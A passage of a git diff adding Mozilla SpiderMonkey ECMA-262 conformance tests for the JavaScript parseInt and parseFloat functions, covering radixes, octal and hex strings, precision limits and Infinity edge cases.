+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"')", OCT_VALUE, parseInt(OCT_STRING) );
+ OCT_VALUE += Math.pow(10,POWER)*7;
+}
+
+for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"')", OCT_VALUE, parseInt(OCT_STRING) );
+ OCT_VALUE -= Math.pow(10,POWER)*7;
+}
+
+// should get octal-based results if we provid the radix of 8 (or 010)
+
+for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"', 8)", OCT_VALUE, parseInt(OCT_STRING,8) );
+ OCT_VALUE += Math.pow(8,POWER)*7;
+}
+for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"', 010)", OCT_VALUE, parseInt(OCT_STRING,010) );
+ OCT_VALUE -= Math.pow(8,POWER)*7;
+}
+
+// we shall stop parsing digits when we get one that isn't a numeric literal of the type we think
+// it should be.
+for ( OCT_STRING = "0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"8', 8)", OCT_VALUE, parseInt(OCT_STRING+"8",8) );
+ OCT_VALUE += Math.pow(8,POWER)*7;
+}
+for ( OCT_STRING = "-0", OCT_VALUE = 0, POWER = 0; POWER < 15; POWER++, OCT_STRING = OCT_STRING +"7" ) {
+ new TestCase( SECTION, "parseInt('"+OCT_STRING+"8', 010)", OCT_VALUE, parseInt(OCT_STRING+"8",010) );
+ OCT_VALUE -= Math.pow(8,POWER)*7;
+}
+
+new TestCase( SECTION,
+ "parseInt( '0x' )",
+ NaN,
+ parseInt("0x") );
+
+new TestCase( SECTION,
+ "parseInt( '0X' )",
+ NaN,
+ parseInt("0X") );
+
+new TestCase( SECTION,
+ "parseInt( '11111111112222222222' )",
+ 11111111112222222222,
+ parseInt("11111111112222222222") );
+
+new TestCase( SECTION,
+ "parseInt( '111111111122222222223' )",
+ 111111111122222222220,
+ parseInt("111111111122222222223") );
+
+new TestCase( SECTION,
+ "parseInt( '11111111112222222222',10 )",
+ 11111111112222222222,
+ parseInt("11111111112222222222",10) );
+
+new TestCase( SECTION,
+ "parseInt( '111111111122222222223',10 )",
+ 111111111122222222220,
+ parseInt("111111111122222222223",10) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', -1 )",
+ Number.NaN,
+ parseInt("01234567890",-1) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 0 )",
+ 1234567890,
+ parseInt("01234567890", 0) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 1 )",
+ Number.NaN,
+ parseInt("01234567890",1) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 2 )",
+ 1,
+ parseInt("01234567890",2) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 3 )",
+ 5,
+ parseInt("01234567890",3) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 4 )",
+ 27,
+ parseInt("01234567890",4) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 5 )",
+ 194,
+ parseInt("01234567890",5) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 6 )",
+ 1865,
+ parseInt("01234567890",6) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 7 )",
+ 22875,
+ parseInt("01234567890",7) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 8 )",
+ 342391,
+ parseInt("01234567890",8) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 9 )",
+ 6053444,
+ parseInt("01234567890",9) );
+
+new TestCase( SECTION,
+ "parseInt( '01234567890', 10 )",
+ 1234567890,
+ parseInt("01234567890",10) );
+
+// need more test cases with hex radix
+
+new TestCase( SECTION,
+ "parseInt( '1234567890', '0xa')",
+ 1234567890,
+ parseInt("1234567890","0xa") );
+
+new TestCase( SECTION,
+ "parseInt( '012345', 11 )",
+ 17715,
+ parseInt("012345",11) );
+
+new TestCase( SECTION,
+ "parseInt( '012345', 35 )",
+ 1590195,
+ parseInt("012345",35) );
+
+new TestCase( SECTION,
+ "parseInt( '012345', 36 )",
+ 1776965,
+ parseInt("012345",36) );
+
+new TestCase( SECTION,
+ "parseInt( '012345', 37 )",
+ Number.NaN,
+ parseInt("012345",37) );
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.2-2.js b/js/src/tests/ecma/GlobalObject/15.1.2.2-2.js
new file mode 100644
index 000000000..d6692b4a6
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.2-2.js
@@ -0,0 +1,209 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.2-1.js
+ ECMA Section: 15.1.2.2 Function properties of the global object
+ parseInt( string, radix )
+
+ Description: parseInt test cases written by waldemar, and documented in
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=123874.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.2-2";
+var VERSION = "ECMA_1";
+var TITLE = "parseInt(string, radix)";
+var BUGNUMBER = "none";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ 'parseInt("000000100000000100100011010001010110011110001001101010111100",2)',
+ 9027215253084860,
+ parseInt("000000100000000100100011010001010110011110001001101010111100",2) );
+
+new TestCase( SECTION,
+ 'parseInt("000000100000000100100011010001010110011110001001101010111101",2)',
+ 9027215253084860,
+ parseInt("000000100000000100100011010001010110011110001001101010111101",2));
+
+new TestCase( SECTION,
+ 'parseInt("000000100000000100100011010001010110011110001001101010111111",2)',
+ 9027215253084864,
+ parseInt("000000100000000100100011010001010110011110001001101010111111",2) );
+
+new TestCase( SECTION,
+ 'parseInt("0000001000000001001000110100010101100111100010011010101111010",2)',
+ 18054430506169720,
+ parseInt("0000001000000001001000110100010101100111100010011010101111010",2) );
+
+new TestCase( SECTION,
+ 'parseInt("0000001000000001001000110100010101100111100010011010101111011",2)',
+ 18054430506169724,
+ parseInt("0000001000000001001000110100010101100111100010011010101111011",2));
+
+new TestCase( SECTION,
+ 'parseInt("0000001000000001001000110100010101100111100010011010101111100",2)',
+ 18054430506169724,
+ parseInt("0000001000000001001000110100010101100111100010011010101111100",2) );
+
+new TestCase( SECTION,
+ 'parseInt("0000001000000001001000110100010101100111100010011010101111110",2)',
+ 18054430506169728,
+ parseInt("0000001000000001001000110100010101100111100010011010101111110",2) );
+
+new TestCase( SECTION,
+ 'parseInt("yz",35)',
+ 34,
+ parseInt("yz",35) );
+
+new TestCase( SECTION,
+ 'parseInt("yz",36)',
+ 1259,
+ parseInt("yz",36) );
+
+new TestCase( SECTION,
+ 'parseInt("yz",37)',
+ NaN,
+ parseInt("yz",37) );
+
+new TestCase( SECTION,
+ 'parseInt("+77")',
+ 77,
+ parseInt("+77") );
+
+new TestCase( SECTION,
+ 'parseInt("-77",9)',
+ -70,
+ parseInt("-77",9) );
+
+new TestCase( SECTION,
+ 'parseInt("\u20001234\u2000")',
+ 1234,
+ parseInt("\u20001234\u2000") );
+
+new TestCase( SECTION,
+ 'parseInt("123456789012345678")',
+ 123456789012345680,
+ parseInt("123456789012345678") );
+
+new TestCase( SECTION,
+ 'parseInt("9",8)',
+ NaN,
+ parseInt("9",8) );
+
+new TestCase( SECTION,
+ 'parseInt("1e2")',
+ 1,
+ parseInt("1e2") );
+
+new TestCase( SECTION,
+ 'parseInt("1.9999999999999999999")',
+ 1,
+ parseInt("1.9999999999999999999") );
+
+new TestCase( SECTION,
+ 'parseInt("0x10")',
+ 16,
+ parseInt("0x10") );
+
+new TestCase( SECTION,
+ 'parseInt("0x10",10)',
+ 0,
+ parseInt("0x10",10));
+
+new TestCase( SECTION,
+ 'parseInt("0022")',
+ 22,
+ parseInt("0022"));
+
+new TestCase( SECTION,
+ 'parseInt("0022", 8)',
+ 18,
+ parseInt("0022", 8));
+
+new TestCase( SECTION,
+ 'parseInt("0022", 10)',
+ 22,
+ parseInt("0022", 10) );
+
+new TestCase( SECTION,
+ 'parseInt("0x1000000000000080")',
+ 1152921504606847000,
+ parseInt("0x1000000000000080") );
+
+new TestCase( SECTION,
+ 'parseInt("0x1000000000000081")',
+ 1152921504606847200,
+ parseInt("0x1000000000000081") );
+
+s =
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
+
+ s += "0000000000000000000000000000000000000";
+
+new TestCase( SECTION,
+ "s = " + s +"; -s",
+ -1.7976931348623157e+308,
+ -s );
+
+s =
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+s += "0000000000000000000000000000000000001";
+
+new TestCase( SECTION,
+ "s = " + s +"; -s",
+ -1.7976931348623157e+308,
+ -s );
+
+
+s = "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+s += "0000000000000000000000000000000000000"
+
+
+new TestCase( SECTION,
+ "s = " + s + "; -s",
+ -Infinity,
+ -s );
+
+s = "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+s += "0000000000000000000000000000000000001";
+
+new TestCase( SECTION,
+ "s = " + s + "; -s",
+ -1.7976931348623157e+308,
+ -s );
+
+s += "0"
+
+new TestCase( SECTION,
+ "s = " + s + "; -s",
+ -Infinity,
+ -s );
+
+new TestCase( SECTION,
+ 'parseInt(s)',
+ Infinity,
+ parseInt(s) );
+
+new TestCase( SECTION,
+ 'parseInt(s,32)',
+ 0,
+ parseInt(s,32) );
+
+new TestCase( SECTION,
+ 'parseInt(s,36)',
+ Infinity,
+ parseInt(s,36));
+
+test();
+
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.3-1.js b/js/src/tests/ecma/GlobalObject/15.1.2.3-1.js
new file mode 100644
index 000000000..46fb82523
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.3-1.js
@@ -0,0 +1,405 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.3.js
+ ECMA Section: 15.1.2.3 Function properties of the global object:
+ parseFloat( string )
+
+ Description: The parseFloat function produces a number value dictated
+ by the interpretation of the contents of the string
+ argument defined as a decimal literal.
+
+ When the parseFloat function is called, the following
+ steps are taken:
+
+ 1. Call ToString( string ).
+ 2. Remove leading whitespace Result(1).
+ 3. If neither Result(2) nor any prefix of Result(2)
+ satisfies the syntax of a StrDecimalLiteral,
+ return NaN.
+ 4. Compute the longest prefix of Result(2) which might
+ be Resusult(2) itself, that satisfies the syntax of
+ a StrDecimalLiteral
+ 5. Return the number value for the MV of Result(4).
+
+ Note that parseFloate may interpret only a leading
+ portion of the string as a number value; it ignores any
+ characters that cannot be interpreted as part of the
+ notation of a decimal literal, and no indication is given
+ that such characters were ignored.
+
+ StrDecimalLiteral::
+ Infinity
+ DecimalDigits.DecimalDigits opt ExponentPart opt
+ .DecimalDigits ExponentPart opt
+ DecimalDigits ExponentPart opt
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+
+var SECTION = "15.1.2.3-1";
+var VERSION = "ECMA_1";
+var TITLE = "parseFloat(string)";
+var BUGNUMBER="none";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "parseFloat.length", 1, parseFloat.length );
+
+new TestCase( SECTION, "parseFloat.length = null; parseFloat.length", 1, eval("parseFloat.length = null; parseFloat.length") );
+new TestCase( SECTION, "var MYPROPS=''; for ( var p in parseFloat ) { MYPROPS += p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in parseFloat ) { MYPROPS += p }; MYPROPS") );
+
+new TestCase( SECTION, "parseFloat()", Number.NaN, parseFloat() );
+new TestCase( SECTION, "parseFloat('')", Number.NaN, parseFloat('') );
+
+new TestCase( SECTION, "parseFloat(' ')", Number.NaN, parseFloat(' ') );
+new TestCase( SECTION, "parseFloat(true)", Number.NaN, parseFloat(true) );
+new TestCase( SECTION, "parseFloat(false)", Number.NaN, parseFloat(false) );
+new TestCase( SECTION, "parseFloat('string')", Number.NaN, parseFloat("string") );
+
+new TestCase( SECTION, "parseFloat(' Infinity')", Infinity, parseFloat("Infinity") );
+new TestCase( SECTION, "parseFloat(' Infinity ')", Infinity, parseFloat(' Infinity ') );
+
+new TestCase( SECTION, "parseFloat('Infinity')", Infinity, parseFloat("Infinity") );
+new TestCase( SECTION, "parseFloat(Infinity)", Infinity, parseFloat(Infinity) );
+
+
+new TestCase( SECTION, "parseFloat(' +Infinity')", +Infinity, parseFloat("+Infinity") );
+new TestCase( SECTION, "parseFloat(' -Infinity ')", -Infinity, parseFloat(' -Infinity ') );
+
+new TestCase( SECTION, "parseFloat('+Infinity')", +Infinity, parseFloat("+Infinity") );
+new TestCase( SECTION, "parseFloat(-Infinity)", -Infinity, parseFloat(-Infinity) );
+
+new TestCase( SECTION, "parseFloat('0')", 0, parseFloat("0") );
+new TestCase( SECTION, "parseFloat('-0')", -0, parseFloat("-0") );
+new TestCase( SECTION, "parseFloat('+0')", 0, parseFloat("+0") );
+
+new TestCase( SECTION, "parseFloat('1')", 1, parseFloat("1") );
+new TestCase( SECTION, "parseFloat('-1')", -1, parseFloat("-1") );
+new TestCase( SECTION, "parseFloat('+1')", 1, parseFloat("+1") );
+
+new TestCase( SECTION, "parseFloat('2')", 2, parseFloat("2") );
+new TestCase( SECTION, "parseFloat('-2')", -2, parseFloat("-2") );
+new TestCase( SECTION, "parseFloat('+2')", 2, parseFloat("+2") );
+
+new TestCase( SECTION, "parseFloat('3')", 3, parseFloat("3") );
+new TestCase( SECTION, "parseFloat('-3')", -3, parseFloat("-3") );
+new TestCase( SECTION, "parseFloat('+3')", 3, parseFloat("+3") );
+
+new TestCase( SECTION, "parseFloat('4')", 4, parseFloat("4") );
+new TestCase( SECTION, "parseFloat('-4')", -4, parseFloat("-4") );
+new TestCase( SECTION, "parseFloat('+4')", 4, parseFloat("+4") );
+
+new TestCase( SECTION, "parseFloat('5')", 5, parseFloat("5") );
+new TestCase( SECTION, "parseFloat('-5')", -5, parseFloat("-5") );
+new TestCase( SECTION, "parseFloat('+5')", 5, parseFloat("+5") );
+
+new TestCase( SECTION, "parseFloat('6')", 6, parseFloat("6") );
+new TestCase( SECTION, "parseFloat('-6')", -6, parseFloat("-6") );
+new TestCase( SECTION, "parseFloat('+6')", 6, parseFloat("+6") );
+
+new TestCase( SECTION, "parseFloat('7')", 7, parseFloat("7") );
+new TestCase( SECTION, "parseFloat('-7')", -7, parseFloat("-7") );
+new TestCase( SECTION, "parseFloat('+7')", 7, parseFloat("+7") );
+
+new TestCase( SECTION, "parseFloat('8')", 8, parseFloat("8") );
+new TestCase( SECTION, "parseFloat('-8')", -8, parseFloat("-8") );
+new TestCase( SECTION, "parseFloat('+8')", 8, parseFloat("+8") );
+
+new TestCase( SECTION, "parseFloat('9')", 9, parseFloat("9") );
+new TestCase( SECTION, "parseFloat('-9')", -9, parseFloat("-9") );
+new TestCase( SECTION, "parseFloat('+9')", 9, parseFloat("+9") );
+
+new TestCase( SECTION, "parseFloat('3.14159')", 3.14159, parseFloat("3.14159") );
+new TestCase( SECTION, "parseFloat('-3.14159')", -3.14159, parseFloat("-3.14159") );
+new TestCase( SECTION, "parseFloat('+3.14159')", 3.14159, parseFloat("+3.14159") );
+
+new TestCase( SECTION, "parseFloat('3.')", 3, parseFloat("3.") );
+new TestCase( SECTION, "parseFloat('-3.')", -3, parseFloat("-3.") );
+new TestCase( SECTION, "parseFloat('+3.')", 3, parseFloat("+3.") );
+
+new TestCase( SECTION, "parseFloat('3.e1')", 30, parseFloat("3.e1") );
+new TestCase( SECTION, "parseFloat('-3.e1')", -30, parseFloat("-3.e1") );
+new TestCase( SECTION, "parseFloat('+3.e1')", 30, parseFloat("+3.e1") );
+
+new TestCase( SECTION, "parseFloat('3.e+1')", 30, parseFloat("3.e+1") );
+new TestCase( SECTION, "parseFloat('-3.e+1')", -30, parseFloat("-3.e+1") );
+new TestCase( SECTION, "parseFloat('+3.e+1')", 30, parseFloat("+3.e+1") );
+
+new TestCase( SECTION, "parseFloat('3.e-1')", .30, parseFloat("3.e-1") );
+new TestCase( SECTION, "parseFloat('-3.e-1')", -.30, parseFloat("-3.e-1") );
+new TestCase( SECTION, "parseFloat('+3.e-1')", .30, parseFloat("+3.e-1") );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat('.00001')", 0.00001, parseFloat(".00001") );
+new TestCase( SECTION, "parseFloat('+.00001')", 0.00001, parseFloat("+.00001") );
+new TestCase( SECTION, "parseFloat('-0.0001')", -0.00001, parseFloat("-.00001") );
+
+new TestCase( SECTION, "parseFloat('.01e2')", 1, parseFloat(".01e2") );
+new TestCase( SECTION, "parseFloat('+.01e2')", 1, parseFloat("+.01e2") );
+new TestCase( SECTION, "parseFloat('-.01e2')", -1, parseFloat("-.01e2") );
+
+new TestCase( SECTION, "parseFloat('.01e+2')", 1, parseFloat(".01e+2") );
+new TestCase( SECTION, "parseFloat('+.01e+2')", 1, parseFloat("+.01e+2") );
+new TestCase( SECTION, "parseFloat('-.01e+2')", -1, parseFloat("-.01e+2") );
+
+new TestCase( SECTION, "parseFloat('.01e-2')", 0.0001, parseFloat(".01e-2") );
+new TestCase( SECTION, "parseFloat('+.01e-2')", 0.0001, parseFloat("+.01e-2") );
+new TestCase( SECTION, "parseFloat('-.01e-2')", -0.0001, parseFloat("-.01e-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat('1234e5')", 123400000, parseFloat("1234e5") );
+new TestCase( SECTION, "parseFloat('+1234e5')", 123400000, parseFloat("+1234e5") );
+new TestCase( SECTION, "parseFloat('-1234e5')", -123400000, parseFloat("-1234e5") );
+
+new TestCase( SECTION, "parseFloat('1234e+5')", 123400000, parseFloat("1234e+5") );
+new TestCase( SECTION, "parseFloat('+1234e+5')", 123400000, parseFloat("+1234e+5") );
+new TestCase( SECTION, "parseFloat('-1234e+5')", -123400000, parseFloat("-1234e+5") );
+
+new TestCase( SECTION, "parseFloat('1234e-5')", 0.01234, parseFloat("1234e-5") );
+new TestCase( SECTION, "parseFloat('+1234e-5')", 0.01234, parseFloat("+1234e-5") );
+new TestCase( SECTION, "parseFloat('-1234e-5')", -0.01234, parseFloat("-1234e-5") );
+
+
+new TestCase( SECTION, "parseFloat(0)", 0, parseFloat(0) );
+new TestCase( SECTION, "parseFloat(-0)", -0, parseFloat(-0) );
+
+new TestCase( SECTION, "parseFloat(1)", 1, parseFloat(1) );
+new TestCase( SECTION, "parseFloat(-1)", -1, parseFloat(-1) );
+
+new TestCase( SECTION, "parseFloat(2)", 2, parseFloat(2) );
+new TestCase( SECTION, "parseFloat(-2)", -2, parseFloat(-2) );
+
+new TestCase( SECTION, "parseFloat(3)", 3, parseFloat(3) );
+new TestCase( SECTION, "parseFloat(-3)", -3, parseFloat(-3) );
+
+new TestCase( SECTION, "parseFloat(4)", 4, parseFloat(4) );
+new TestCase( SECTION, "parseFloat(-4)", -4, parseFloat(-4) );
+
+new TestCase( SECTION, "parseFloat(5)", 5, parseFloat(5) );
+new TestCase( SECTION, "parseFloat(-5)", -5, parseFloat(-5) );
+
+new TestCase( SECTION, "parseFloat(6)", 6, parseFloat(6) );
+new TestCase( SECTION, "parseFloat(-6)", -6, parseFloat(-6) );
+
+new TestCase( SECTION, "parseFloat(7)", 7, parseFloat(7) );
+new TestCase( SECTION, "parseFloat(-7)", -7, parseFloat(-7) );
+
+new TestCase( SECTION, "parseFloat(8)", 8, parseFloat(8) );
+new TestCase( SECTION, "parseFloat(-8)", -8, parseFloat(-8) );
+
+new TestCase( SECTION, "parseFloat(9)", 9, parseFloat(9) );
+new TestCase( SECTION, "parseFloat(-9)", -9, parseFloat(-9) );
+
+new TestCase( SECTION, "parseFloat(3.14159)", 3.14159, parseFloat(3.14159) );
+new TestCase( SECTION, "parseFloat(-3.14159)", -3.14159, parseFloat(-3.14159) );
+
+new TestCase( SECTION, "parseFloat(3.)", 3, parseFloat(3.) );
+new TestCase( SECTION, "parseFloat(-3.)", -3, parseFloat(-3.) );
+
+new TestCase( SECTION, "parseFloat(3.e1)", 30, parseFloat(3.e1) );
+new TestCase( SECTION, "parseFloat(-3.e1)", -30, parseFloat(-3.e1) );
+
+new TestCase( SECTION, "parseFloat(3.e+1)", 30, parseFloat(3.e+1) );
+new TestCase( SECTION, "parseFloat(-3.e+1)", -30, parseFloat(-3.e+1) );
+
+new TestCase( SECTION, "parseFloat(3.e-1)", .30, parseFloat(3.e-1) );
+new TestCase( SECTION, "parseFloat(-3.e-1)", -.30, parseFloat(-3.e-1) );
+
+
+new TestCase( SECTION, "parseFloat(3.E1)", 30, parseFloat(3.E1) );
+new TestCase( SECTION, "parseFloat(-3.E1)", -30, parseFloat(-3.E1) );
+
+new TestCase( SECTION, "parseFloat(3.E+1)", 30, parseFloat(3.E+1) );
+new TestCase( SECTION, "parseFloat(-3.E+1)", -30, parseFloat(-3.E+1) );
+
+new TestCase( SECTION, "parseFloat(3.E-1)", .30, parseFloat(3.E-1) );
+new TestCase( SECTION, "parseFloat(-3.E-1)", -.30, parseFloat(-3.E-1) );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat(.00001)", 0.00001, parseFloat(.00001) );
+new TestCase( SECTION, "parseFloat(-0.0001)", -0.00001, parseFloat(-.00001) );
+
+new TestCase( SECTION, "parseFloat(.01e2)", 1, parseFloat(.01e2) );
+new TestCase( SECTION, "parseFloat(-.01e2)", -1, parseFloat(-.01e2) );
+
+new TestCase( SECTION, "parseFloat(.01e+2)", 1, parseFloat(.01e+2) );
+new TestCase( SECTION, "parseFloat(-.01e+2)", -1, parseFloat(-.01e+2) );
+
+new TestCase( SECTION, "parseFloat(.01e-2)", 0.0001, parseFloat(.01e-2) );
+new TestCase( SECTION, "parseFloat(-.01e-2)", -0.0001, parseFloat(-.01e-2) );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat(1234e5)", 123400000, parseFloat(1234e5) );
+new TestCase( SECTION, "parseFloat(-1234e5)", -123400000, parseFloat(-1234e5) );
+
+new TestCase( SECTION, "parseFloat(1234e+5)", 123400000, parseFloat(1234e+5) );
+new TestCase( SECTION, "parseFloat(-1234e+5)", -123400000, parseFloat(-1234e+5) );
+
+new TestCase( SECTION, "parseFloat(1234e-5)", 0.01234, parseFloat(1234e-5) );
+new TestCase( SECTION, "parseFloat(-1234e-5)", -0.01234, parseFloat(-1234e-5) );
+
+// hex cases should all return 0 (0 is the longest string that satisfies a StringDecimalLiteral)
+
+new TestCase( SECTION, "parseFloat('0x0')", 0, parseFloat("0x0"));
+new TestCase( SECTION, "parseFloat('0x1')", 0, parseFloat("0x1"));
+new TestCase( SECTION, "parseFloat('0x2')", 0, parseFloat("0x2"));
+new TestCase( SECTION, "parseFloat('0x3')", 0, parseFloat("0x3"));
+new TestCase( SECTION, "parseFloat('0x4')", 0, parseFloat("0x4"));
+new TestCase( SECTION, "parseFloat('0x5')", 0, parseFloat("0x5"));
+new TestCase( SECTION, "parseFloat('0x6')", 0, parseFloat("0x6"));
+new TestCase( SECTION, "parseFloat('0x7')", 0, parseFloat("0x7"));
+new TestCase( SECTION, "parseFloat('0x8')", 0, parseFloat("0x8"));
+new TestCase( SECTION, "parseFloat('0x9')", 0, parseFloat("0x9"));
+new TestCase( SECTION, "parseFloat('0xa')", 0, parseFloat("0xa"));
+new TestCase( SECTION, "parseFloat('0xb')", 0, parseFloat("0xb"));
+new TestCase( SECTION, "parseFloat('0xc')", 0, parseFloat("0xc"));
+new TestCase( SECTION, "parseFloat('0xd')", 0, parseFloat("0xd"));
+new TestCase( SECTION, "parseFloat('0xe')", 0, parseFloat("0xe"));
+new TestCase( SECTION, "parseFloat('0xf')", 0, parseFloat("0xf"));
+new TestCase( SECTION, "parseFloat('0xA')", 0, parseFloat("0xA"));
+new TestCase( SECTION, "parseFloat('0xB')", 0, parseFloat("0xB"));
+new TestCase( SECTION, "parseFloat('0xC')", 0, parseFloat("0xC"));
+new TestCase( SECTION, "parseFloat('0xD')", 0, parseFloat("0xD"));
+new TestCase( SECTION, "parseFloat('0xE')", 0, parseFloat("0xE"));
+new TestCase( SECTION, "parseFloat('0xF')", 0, parseFloat("0xF"));
+
+new TestCase( SECTION, "parseFloat('0X0')", 0, parseFloat("0X0"));
+new TestCase( SECTION, "parseFloat('0X1')", 0, parseFloat("0X1"));
+new TestCase( SECTION, "parseFloat('0X2')", 0, parseFloat("0X2"));
+new TestCase( SECTION, "parseFloat('0X3')", 0, parseFloat("0X3"));
+new TestCase( SECTION, "parseFloat('0X4')", 0, parseFloat("0X4"));
+new TestCase( SECTION, "parseFloat('0X5')", 0, parseFloat("0X5"));
+new TestCase( SECTION, "parseFloat('0X6')", 0, parseFloat("0X6"));
+new TestCase( SECTION, "parseFloat('0X7')", 0, parseFloat("0X7"));
+new TestCase( SECTION, "parseFloat('0X8')", 0, parseFloat("0X8"));
+new TestCase( SECTION, "parseFloat('0X9')", 0, parseFloat("0X9"));
+new TestCase( SECTION, "parseFloat('0Xa')", 0, parseFloat("0Xa"));
+new TestCase( SECTION, "parseFloat('0Xb')", 0, parseFloat("0Xb"));
+new TestCase( SECTION, "parseFloat('0Xc')", 0, parseFloat("0Xc"));
+new TestCase( SECTION, "parseFloat('0Xd')", 0, parseFloat("0Xd"));
+new TestCase( SECTION, "parseFloat('0Xe')", 0, parseFloat("0Xe"));
+new TestCase( SECTION, "parseFloat('0Xf')", 0, parseFloat("0Xf"));
+new TestCase( SECTION, "parseFloat('0XA')", 0, parseFloat("0XA"));
+new TestCase( SECTION, "parseFloat('0XB')", 0, parseFloat("0XB"));
+new TestCase( SECTION, "parseFloat('0XC')", 0, parseFloat("0XC"));
+new TestCase( SECTION, "parseFloat('0XD')", 0, parseFloat("0XD"));
+new TestCase( SECTION, "parseFloat('0XE')", 0, parseFloat("0XE"));
+new TestCase( SECTION, "parseFloat('0XF')", 0, parseFloat("0XF"));
+new TestCase( SECTION, "parseFloat(' 0XF ')", 0, parseFloat(" 0XF "));
+
+// hex literals should still succeed
+
+new TestCase( SECTION, "parseFloat(0x0)", 0, parseFloat(0x0));
+new TestCase( SECTION, "parseFloat(0x1)", 1, parseFloat(0x1));
+new TestCase( SECTION, "parseFloat(0x2)", 2, parseFloat(0x2));
+new TestCase( SECTION, "parseFloat(0x3)", 3, parseFloat(0x3));
+new TestCase( SECTION, "parseFloat(0x4)", 4, parseFloat(0x4));
+new TestCase( SECTION, "parseFloat(0x5)", 5, parseFloat(0x5));
+new TestCase( SECTION, "parseFloat(0x6)", 6, parseFloat(0x6));
+new TestCase( SECTION, "parseFloat(0x7)", 7, parseFloat(0x7));
+new TestCase( SECTION, "parseFloat(0x8)", 8, parseFloat(0x8));
+new TestCase( SECTION, "parseFloat(0x9)", 9, parseFloat(0x9));
+new TestCase( SECTION, "parseFloat(0xa)", 10, parseFloat(0xa));
+new TestCase( SECTION, "parseFloat(0xb)", 11, parseFloat(0xb));
+new TestCase( SECTION, "parseFloat(0xc)", 12, parseFloat(0xc));
+new TestCase( SECTION, "parseFloat(0xd)", 13, parseFloat(0xd));
+new TestCase( SECTION, "parseFloat(0xe)", 14, parseFloat(0xe));
+new TestCase( SECTION, "parseFloat(0xf)", 15, parseFloat(0xf));
+new TestCase( SECTION, "parseFloat(0xA)", 10, parseFloat(0xA));
+new TestCase( SECTION, "parseFloat(0xB)", 11, parseFloat(0xB));
+new TestCase( SECTION, "parseFloat(0xC)", 12, parseFloat(0xC));
+new TestCase( SECTION, "parseFloat(0xD)", 13, parseFloat(0xD));
+new TestCase( SECTION, "parseFloat(0xE)", 14, parseFloat(0xE));
+new TestCase( SECTION, "parseFloat(0xF)", 15, parseFloat(0xF));
+
+new TestCase( SECTION, "parseFloat(0X0)", 0, parseFloat(0X0));
+new TestCase( SECTION, "parseFloat(0X1)", 1, parseFloat(0X1));
+new TestCase( SECTION, "parseFloat(0X2)", 2, parseFloat(0X2));
+new TestCase( SECTION, "parseFloat(0X3)", 3, parseFloat(0X3));
+new TestCase( SECTION, "parseFloat(0X4)", 4, parseFloat(0X4));
+new TestCase( SECTION, "parseFloat(0X5)", 5, parseFloat(0X5));
+new TestCase( SECTION, "parseFloat(0X6)", 6, parseFloat(0X6));
+new TestCase( SECTION, "parseFloat(0X7)", 7, parseFloat(0X7));
+new TestCase( SECTION, "parseFloat(0X8)", 8, parseFloat(0X8));
